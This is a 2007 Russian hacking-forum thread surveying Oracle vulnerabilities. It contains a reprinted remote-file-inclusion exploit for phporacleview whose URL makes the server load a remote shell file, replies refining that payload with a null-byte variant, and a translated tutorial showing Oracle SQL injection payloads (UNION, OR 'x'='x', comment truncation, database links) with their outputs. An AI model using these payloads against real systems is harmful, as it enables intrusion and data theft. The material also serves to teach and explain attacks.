[Обзор уязвимостей] Oracle

Discussion in 'Уязвимости' started by Solide Snake, 24 Nov 2007.

  1. Solide Snake

    Solide Snake Banned

    Joined:
    28 Apr 2007
    Messages:
    382
    Likes Received:
    820
    Reputations:
    69
    Обзор уязвимостей Oracle



    Exploits:

    Oracle (oidldapd connect) Local Command Line Overflow Exploit
    Oracle XDB FTP Service UNLOCK Buffer Overflow Exploit
    Oracle Database Server <= 10.1.0.2 Buffer Overflow Exploit
    Oracle Database PL/SQL Statement Multiple SQL Injection Exploits
    Oracle 9.2.0.1 Universal XDB HTTP Pass Overflow Exploit
    Oracle Database Server 9i/10g (XML) Buffer Overflow Exploit
    Oracle <= 10g Release 2 (DBMS_EXPORT_EXTENSION) Local SQL Exploit
    Oracle <= 9i / 10g (extproc) Local/Remote Command Execution Exploit
    Oracle <= 9i / 10g File System Access via utl_file Exploit
    Oracle 10g SYS.KUPW$WORKER.MAIN PL/SQL Injection Exploit
    Oracle 10g SYS.KUPV$FT.ATTACH_JOB PL/SQL Injection Exploit
    Oracle 9i/10g DBMS_EXPORT_EXTENSION SQL Injection Exploit
    Oracle 10g KUPW$WORKER.MAIN Grant/Revoke dba Permission Exploit
    Oracle 10g KUPV$FT.ATTACH_JOB Grant/Revoke dba Permission Exploit
    Oracle 9i/10g DBMS_METADATA.GET_DDL SQL Injection Exploit
    Oracle 9i/10g ACTIVATE_SUBSCRIPTION SQL Injection Exploit
    Oracle 10g KUPW$WORKER.MAIN SQL Injection Exploit v2
    Oracle 10g KUPV$FT.ATTACH_JOB SQL Injection Exploit v2
    Oracle 9i/10g DBMS_METADATA.GET_DDL SQL Injection Exploit v2
    Oracle 9i/10g ACTIVATE_SUBSCRIPTION SQL Injection Exploit v2
    Oracle 10g KUPM$MCP.MAIN SQL Injection Exploit v2
    Oracle 10g KUPM$MCP.MAIN SQL Injection Exploit
    Oracle 9i/10g evil views Change Passwords Exploit (CVE-2007-3855)
    Oracle 10g CTX_DOC.MARKUP SQL Injection Exploit
    Oracle 10g/11g SYS.LT.FINDRICSET Local SQL Injection Exploit
    Oracle 10g/11g SYS.LT.FINDRICSET Local SQL Injection Exploit (2)
    Oracle 10g LT.FINDRICSET Local SQL Injection Exploit (IDS evasion)

    Papers:

    Bypassing Oracle dbms_assert
    Dangling Cursor Snarfing: A New Class of Attack in Oracle
    Oracle Forensics Part 4: Live Response
    Oracle Forensics Part 3: Isolating Evidence of Attacks
    Oracle Forensics Part 2: Locating Dropped Objects
    Oracle Forensics Part 1: Dissecting the Redo Logs
    Oracle Forensics Part 5: Finding Evidence of Data Theft in the Absence ..



    ===============================
    phporacleview => (page_dir) Remote File Inclusion Exploit
    ===============================

    Discoverd By : Alkomandoz Hacker


    HomePge= Asb-May.Net & Mohandko.com & Sniper-sa.com & Tryag.com

    ================================

    Script Name: phporacleview

    Download Script: http://webxadmin.free.fr/download/phporacleview.zip


    =================================
    Bug in :

    =======

    Code:
    <?
    include($page_dir . $inc_dir . "config.inc.php");
    ==================================


    Exploit :
    --------------------------------

    Code:
    http://localhost/phporacleview/inc/include_all.inc.php?page_dir=http://Shell.txt?
    ===================================

    milw0rm.com
     
    #1 Solide Snake, 24 Nov 2007
    Last edited: 28 Nov 2007
    4 people like this.
  2. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    Довольно не плохой обзор мне понравилось, Добавьте в статьи, и в карту раздела статьи.

    не так...
    config.inc.php
    рttp://localhost/phporacleview/inc/include_all.inc.php?page_dir=http://a.ru/
    и тут должен лежать config.inc.php.
    или
    http://localhost/phporacleview/inc/include_all.inc.php?page_dir=http://Shell.txt%00

    blackybr:
    на самом деле будет так работать
     
    #2 guest3297, 24 Nov 2007
    Last edited by a moderator: 28 Nov 2007
    2 people like this.
  3. GreenBear

    GreenBear наркоман с медалью

    Joined:
    7 May 2005
    Messages:
    2,547
    Likes Received:
    1,398
    Reputations:
    612
    каша сказал, маша сделала.
     
    2 people like this.
  4. Solide Snake

    Solide Snake Banned

    Joined:
    28 Apr 2007
    Messages:
    382
    Likes Received:
    820
    Reputations:
    69
    SQL Injection в Oracle

    SQL Injection в Oracle


    Методы SQL инъекции в последнее время представляют опасную
    угрозу защите информации, хранящейся в базах данных Oracle. Хотя написано
    множество статей об SQL инъекции, тем не менее, очень редко описываются особенности
    их использования против базы данных ORACLE. В этой статье мы исследуем нападения
    SQL инъекции против базы данных ORACLE. Цель этой статьи состоит в том, чтобы
    объяснить пользователям ORACLE опасность SQL инъекции и предложить простые
    способы защиты против этого типа нападений.

    Существует несколько способов использовать эти методы на
    системе ORACLE, в зависимости от используемого языка или API. Ниже представлены
    некоторые языки, API и инструменты, которые могут получить доступ к базе данных
    ORACLE и могут быть частью Web приложения:



    - JSP

    - ASP

    - XML, XSL и XSQL

    - Javascript


    - VB, MFC, и другие ODBC основанные
    утилиты и API

    - Различные Web приложения

    - 3 и 4GL языки, типа Си, OCI, Pro*C
    и Cobol

    - Perl и CGI сценарии, имеющие доступ
    к базе данных




    Любое из вышеупомянутых приложений, инструментов и программ
    может использоваться как основа для изменения SQL запроса базы данных ORACLE.
    Для этого должны выполнятся несколько простейших условий, главное из которых
    состоит в том, что в вышеупомянутых средствах должен использоваться динамический
    SQL, так как в противном случае SQL инъекция невозможна.



    Также важно упомянуть, что SQL инъекция против любой базы
    данных, включая ORACLE, может использоваться не только через Web приложения.
    Любое приложение, позволяющее пользователю вводить данные, которые могут
    быть частью динамического SQL запроса, может быть потенциально уязвимо к нападениям
    SQL инъекции. Очевидно, что Web приложения представляют наибольшую угрозу,
    поскольку любой пользователь с браузером и доступом к Интернет может потенциально
    обратиться к чувствительным данным.



    Во второй части статьи более подробно обсуждаются методы
    защиты против нападений SQL инъекции, но есть несколько моментов, о которых
    необходимо упомянуть в этом вводном разделе. Данные, хранящиеся в базе данных
    ORACLE, должны быть защищены от пользователей, которые имеют доступ к сети
    и приложениям, обслуживающим эти данные. Администраторы базы данных должны
    понимать, что большинство угроз данным, хранящимся в базе данных, исходит
    от авторизованных пользователей.



    Защита от SQL инъекции на ORACLE системах в принципе проста
    и включает две основные стадии:



    - Ревизия кода приложений и устранение
    проблем, которые могут способствовать SQL инъекции (более подробно эти
    проблемы будут обсуждены во второй части статьи).


    - Использование принципа наименьшего
    количества привилегий на уровне базы данных так, чтобы даже если кто-то
    смог изменить SQL запрос, он не смог бы получить больше информации, чем
    бы он мог получить через предназначенный для этого интерфейс приложения.




    Во второй части статьи мы обсудим подробности как эти пункты
    можно применить к ORACLE приложениям.

    Эксплуатация ORACLE


    Oracle, подобно другим базам данных, уязвим к нападениям
    SQL инъекции. Следующие неправильные обращения могут использоваться против
    базы данных ORACLE:

    - UNION можно добавить к SQL инструкции, чтобы выполнить
    вторую инструкцию;

    - SUBSELECTS можно добавить к существующим инструкциям;

    - Существующий SQL запрос может использовать обходные пути,
    чтобы возвратить все данные. Эта методика часто используется, чтобы получить
    доступ через опознавательные схемы, осуществленные другими программами;

    - Доступен большой выбор установленных пакетов и процедур,
    которые могут использоваться для чтения и записи файлов на операционной
    системе;

    - Data Definition Language (DDL) может эксплуатироваться,
    если он используется в динамической SQL строке;


    - Могут быть внедрены INSERT, UPDATE и DELETE.

    С другой стороны, в ORACLE невозможно использовать следующие
    методы, присущие другим базам данных:

    - Не могут использоваться множественные инструкции;

    - SQL инъекция невозможна, когда запрос использует присвоенные переменные;

    Некоторые специфические примеры


    Web приложения наиболее уязвимы
    к нападениям SQL инъекции. Они могут быть написаны, используя ASP, JSP или
    другие вышеупомянутые языки. Можно сказать, что SQL инъекция это не проблема
    базы данных, а проблема неправильно написанного Web приложения.



    Чтобы проиллюстрировать некоторые
    из возможностей SQL инъекции на Oracle, я написал простую процедуру PL/SQL,
    которая отображает телефонный номер клиентов из гипотетической таблицы клиента
    в базе данных. Как я уже говорил, можно изменить любую часть SQL запроса,
    который динамически сформирован во время выполнения и в котором входные данные
    предварительно не проверены. Чтобы продемонстрировать SQL инъекцию, можно
    использовать PL/SQL и вездесущий инструмент SQL*Plus [url http://www.orafaq.com/faqplus.htm].
    Процедура использует динамический SQL, чтобы передать часть SQL к базе данных.
    Использование PL/SQL процедуры и динамического SQL во всех отношениях идентично
    SQL инъекции через Web интерфейс, за исключением того, что в нашем примере
    мы эксплуатируем уязвимость локально, а не удаленно, поэтому читатель должен
    держать это в уме при прочитывании этой статьи. Также, из-за этого подхода
    мы не используем никаких методов символьного кодирования, чтобы передать специальные
    символы или метасимволы на сервер базы данных от Web-браузера. Пример используемой
    структуры таблицы:

    Code:
    SQL> desc customers
    
    Name                                      Null?    Type
    
    ----------------------------------------- -------- ----------------------------
    
    CUSTOMER_FORNAME                                   VARCHAR2(30)
    
    CUSTOMER_SURNAME                                   VARCHAR2(30)
    
    CUSTOMER_PHONE                                     VARCHAR2(30)
    
    CUSTOMER_FAX                                       VARCHAR2(30)
    
    CUSTOMER_TYPE                                        NUMBER(10)
    Таблица была загружена следующим
    образом:

    Code:
    SQL> select * from customers;
    
    
    
    CUSTOMER_FORNAME               CUSTOMER_SURNAME
    
    ------------------------------ ------------------------------
    
    CUSTOMER_PHONE                 CUSTOMER_FAX                   CUSTOMER_TYPE
    
    ------------------------------ ------------------------------ -------------
    
    Fred                           Clark
    
    999444888                      999444889                                  3
    
    
    
    Bill                           Jones
    
    999555888                      999555889                                  2
    
    
    
    Jim                            Clark
    
    999777888                      999777889                                  1
    Типовая используемая процедура создана со следующим кодом.
    Для этих испытаний я использовал гипотетического пользователя DBSNMP, который
    имеет больше привилегий, чем необходимо для обычного пользователя. Этот пользователь
    иллюстрирует проблему Web пользователей, ограничиваемых наименьшим количеством
    привилегий:

    Code:
    create or replace procedure get_cust (lv_surname in varchar2)
    
    is
    
            type cv_typ is ref cursor;
    
            cv cv_typ;
    
            lv_phone        customers.customer_phone%type;
    
            lv_stmt         varchar2(32767):='select customer_phone '||
    
                                            'from customers '||
    
                                            'where customer_surname='''||
    
                                            lv_surname||'''';
    
    begin
    
            dbms_output.put_line('debug:'||lv_stmt);
    
            open cv for lv_stmt;
    
            loop
    
                    fetch cv into lv_phone;
    
                    exit when cv%notfound;
    
                    dbms_output.put_line('::'||lv_phone);
    
            end loop;
    
            close cv;
    
    end get_cust;
    
    /
    Невозможно просто добавить другую
    инструкцию в существующую инструкцию, сформированную процедурой для выполнения,
    как, например, в MS SQL. Посмотрим, что произойдет с нашей процедурой в этом
    случае:

    Code:
    SQL> exec get_cust('x'' select username from all_users where ' 'x' '= 'x');
    
    debug:select customer_phone from customers where customer_surname='x' select
    
    username from all_users where 'x'='x'
    
    -933ORA-00933: SQL command not properly ended
    Процедура ожидает фамилию клиента
    и должна формировать инструкцию формы:

    Code:
    select customer_phone from customers where customer_surname='Jones'
    Как видно, можно добавить дополнительный SQL после имени,
    изменяющий существующий SQL запрос, используя кавычки. В предыдущем примере,
    ORACLE возвращает ошибку, если мы посылаем две SQL инструкции сразу к RDBMS.
    Инструкции в ORACLE разграничены точкой с запятой (;), т.е. мы можем попробовать
    следующее:

    Code:
    SQL> exec get_cust('x'';select username from all_users where ''x''=''x');
    
    debug:select customer_phone from customers where customer_surname='x';select
    
    username from all_users where 'x'='x'
    
    -911ORA-00911: invalid character
    ORACLE снова возвратил ошибку. Добавление точки с запятой
    после первой инструкции не позволяет выполнить вторую инструкцию, так что
    единственный способ заставить ORACLE выполнить дополнительный SQL запрос состоит
    в том, чтобы расширить существующее where или использовать union или subselect.
    Следующий пример демонстрирует, как получить дополнительные данные из другой
    таблицы. В этом случае, мы прочитаем список пользователей в базе данных из
    таблицы ALL_USERS.

    Code:
    SQL> exec get_cust('x'' union select username from all_users where ''x''=''x');
    
    debug:select customer_phone from customers where customer_surname='x' union
    
    select username from all_users where 'x'='x'
    
    ::AURORA$JIS$UTILITY$
    
    ::AURORA$ORB$UNAUTHENTICATED
    
    ::CTXSYS
    
    ::DBSNMP
    
    ::MDSYS
    
    ::ORDPLUGINS
    
    ::ORDSYS
    
    ::OSE$HTTP$ADMIN
    
    ::OUTLN
    
    ::SYS
    
    ::SYSTEM
    
    ::TRACESVR
    Мы также можем использовать подзапросы, чтобы расширить существующую
    инструкцию SELECT. Такое изменение не может принести много пользы, поскольку
    SELECT не может использоваться для добавления новых столбцов в других таблицах;
    однако, в этом случае мы можем изменить записи, возвращенные существующим
    запросом. Следующий пример возвращает все записи в таблице:



    В следующем примере мы рассмотрим способ усечения SQL запроса
    до оператора WHERE так, чтобы были возвращены все записи таблице. Типичный
    пример эксплуатации - Web приложения, использующие способ идентификации при
    входе в систему, в котором ищется запись в таблице пользователей, которой
    соответствует введенное имя пользователя и пароль. Например:

    Code:
    select * from appusers where username='someuser' and password='somecleverpassword'
    
    SQL> exec get_cust('x'' or exists (select 1 from sys.dual) and ''x''=''x');
    
    debug:select customer_phone from customers where customer_surname='x' or exists
    
    (select 1 from sys.dual) and 'x'='x'
    
    ::999444888
    
    ::999555888
    
    ::999777888
    Усекая запрос, мы можем заставить SQL возвратить все записи
    в таблице. Это позволит войти в систему, да еще и предварительно возвратит
    учетную запись администратора! Ниже - пример усечения нашей типовой таблицы
    клиентов. Все записи могут быть возвращены, используя 'OR 'x'='x'' в 'where'
    следующим способом:

    Code:
    SQL> exec get_cust('x'' or ''x''=''x');
    
    debug:select customer_phone from customers where customer_surname='x' or 'x'='x'
    
    ::999444888
    
    ::999555888
    
    ::999777888
    Затем, изменим процедуру, чтобы расширить
    используемый SQL таким образом, чтобы была усечена вторая часть выражения
    после WHERE. Сначала рассмотрим пример изменяемой процедуры:

    Code:
    create or replace procedure get_cust2 (lv_surname in varchar2)
    
    is
    
            type cv_typ is ref cursor;
    
            cv cv_typ;
    
            lv_phone        customers.customer_phone%type;
    
            lv_stmt         varchar2(32767):='select customer_phone '||
    
                                    'from customers '||
    
                                    'where customer_surname='''||
    
                                    lv_surname||''' and customer_type=1';
    
    begin
    
            dbms_output.put_line('debug:'||lv_stmt);
    
            open cv for lv_stmt;
    
            loop
    
                    fetch cv into lv_phone;
    
                    exit when cv%notfound;
    
                    dbms_output.put_line('::'||lv_phone);
    
            end loop;
    
            close cv;
    
    exception
    
            when others then
    
                    dbms_output.put_line(sqlcode||sqlerrm);
    
    end get_cust2;
    Мы будем использовать символы комментария - -, чтобы усечь
    SQL после оператора WHERE. Этот метод полезен в случае, когда приложение
    использует более одного поля, которое добавляется к динамическому SQL запросу
    и передается к базе данных. Чтобы упростить добавление дополнительного SQL
    и обойти все поля, мы можем добавить - - в запись, которую мы считаем первым
    полем и внедрить наш SQL запрос. Пример:

    Code:
    SQL> exec get_cust2('x'' or ''x''=''x'' --');
    
    debug:select customer_phone from customers where customer_surname='x' or 'x'='x'
    
    --' and customer_type=1
    
    ::999444888
    
    ::999555888
    
    ::999777888
    Выполняя, мы видим, что возвращены все три записи из-за инструкции
    or. Если там не было бы комментария, то выполняемый SQL запрос все еще содержал
    бы строку 'and customer_type=1'. Можно также использовать union и select
    на таблице all_users и затем прокомментировать остальную часть после оператора
    WHERE.



    Все приведенные выше примеры показывают, как можно внедрить
    дополнительный SQL в оператор select. Те же самые принципы могут использоваться
    в операторах update, insert и delete. Другие операторы, доступные в Oracle,
    включают DDL (Data Definition Language) операторы, которые позволяют изменить
    логическую структуру базы данных. Например, с помощью DDL, можно создать таблицу
    или изменить используемый язык. Часто приложения позволяют посылать любой
    SQL запрос к серверу. Это плохой способ программирования, поскольку позволяет
    выполнять операторы типа DDL. Можно утверждать, что рассматриваемый случай
    не является SQL инъекцией, потому что может быть выполнен любой SQL, без изменения
    существующего SQL запроса.



    В заключении мы рассмотрим проблемы в модулях,
    процедурах и функциях. Можно вызвать PL/SQL функцию из SQL инструкции. Существуют
    более тысячи встроенных функций и процедур, поставляемых со стандартными пакетами.
    Обычно они запускаются с DBMS (database management system) или UTL. Заголовки
    этих процедур могут быть найдены в $ORACLE_HOME/rdbms/admin. Также список
    процедур и функций может быть получен следующим запросом:

    Code:
    SQL> col owner for a15
    
    SQL> col object_type for a30
    
    SQL> col object_name for a30
    
    SQL> select owner,object_type,object_name
    
      2  from dba_objects
    
      3  where object_type in('PACKAGE','FUNCTION','PROCEDURE');
    
    
    
    OWNER           OBJECT_TYPE                    OBJECT_NAME
    
    --------------- ------------------------------ ------------------------------
    
    SYS             FUNCTION                       CLIENT_IP_ADDRESS
    
    SYS             FUNCTION                       DATABASE_NAME
    
    SYS             FUNCTION                       DBJ_LONG_NAME
    
    SYS             FUNCTION                       DBJ_SHORT_NAME
    
    SYS             PACKAGE                        DBMSOBJG
    
    CTXSYS          PACKAGE                        DR_DEF
    
    CTXSYS          PROCEDURE                      SYNCRN
    
    
    
    391 rows selected.
    Ниже приведен пример, который вызывает встроенную
    функцию. Функция SYS.LOGIN_USER возвращает имя вошедшего пользователя:

    Code:
    SQL> exec get_cust('x'' union select sys.login_user from sys.dual where ''x''=''x');
    
    debug:select customer_phone from customers where customer_surname='x' union
    
    select sys.login_user from sys.dual where 'x'='x'
    
    ::DBSNMP
    Функции или процедуры, которые могут быть
    вызваны с SQL, сильно ограничены: функция не должна изменять состояние базы
    данных или состояние пакета, если она вызвана удаленно, и функция не может
    изменить переменные пакета, если она вызвана в операторе WHERE или группе
    операторов. В версиях более ранних, чем Oracle 8, очень немного встроенных
    функций или процедур можно вызвать из PL/SQL функции, которая вызывается из
    SQL инструкции. Эти ограничения несколько сняты в Oracle 8, но пользователи
    все равно не способны вызывать пакеты file или output типов, типа UTL_FILE
    или DBMS_OUTPUT или DBMS_LOB непосредственно из SQL инструкций, поскольку
    они должны выполняться в PL/SQL блоке или вызываться выполняющей командой
    из SQL*Plus. Можно использовать процедуры, являющиеся частью функции, которая
    предназначена для вызова из SQL запроса.



    Если форма или приложение формируют и выполняют
    динамический PL/SQL тем же самым способом, как описано выше, могут использоваться
    те же самые методы, чтобы вставить запросы к стандартным PL/SQL пакетам на
    любых PL/SQL пакетах или функциях, которые существуют в логической структуре
    базы данных.



    Если в атакуемой базе данных существуют ссылки
    к другим базам данных, эти базы могут также использоваться в попытках SQL
    инъекции. Это позволяет выполнять нападения через межсетевую защиту к базе
    данных, которая недоступна через Интернет. Ниже простой пример, который использует
    нашу PL/SQL процедуру, чтобы прочитать системную дату из другой базы данных
    в сети:

    Code:
    SQL> exec get_cust('x'' union select to_char(sysdate) from sys.dual@plsq where ''x''=''x');
    
    debug:select customer_phone from customers where customer_surname='x' union
    
    select to_char(sysdate) from sys.dual@plsq where 'x'='x'
    
    ::13-NOV-02
    Заключение


    В первой части статьи мы предложили краткий обзор SQL инъекции
    и привели несколько примеров того, как эта методика может использоваться против
    баз данных Oracle. В следующей статье мы рассмотрим способы обнаружения SQL
    инъекции и обсудим методы защиты.

    (c)
     
    3 people like this.
  5. [53x]Shadow

    [53x]Shadow Leaders of Antichat

    Joined:
    25 Jan 2007
    Messages:
    284
    Likes Received:
    597
    Reputations:
    514
    Имхо статья лишняя, причем она собрана из статей кот и так полно на форуме
    https://forum.antichat.ru/thread7119-Oracle.html
    https://forum.antichat.ru/thread8009-Oracle.html
    https://forum.antichat.ru/thread7159-Oracle.html
    и т.д.
     
  6. Solide Snake

    Solide Snake Banned

    Joined:
    28 Apr 2007
    Messages:
    382
    Likes Received:
    820
    Reputations:
    69
    На самом деле она не собрана, если видишь копирайт во втором обзоре(SQL) то поймёшь откуда данные:)

    [ cash ]
    Спасибо:)
     
  7. F!$T

    F!$T Повелитель шнэков!

    Joined:
    5 Feb 2007
    Messages:
    94
    Likes Received:
    300
    Reputations:
    6
    статейка интересная... много полезного узнал..
    2[53x]Shadow
    когда все собрано в одном месте и оформленно хорошо - это намного лучше... имхо
     
  8. ShAnKaR

    ShAnKaR Пачка маргарина

    Joined:
    14 Jul 2005
    Messages:
    904
    Likes Received:
    297
    Reputations:
    553
    вот как раз именно так как автор написал будет работать всегда и без всяких конфиг.инк.пхп
    http://localhost/phporacleview/inc/include_all.inc.php?page_dir=http://Shell.txt?
    а нулевой байт он при magic_quotes обломится.
     
    4 people like this.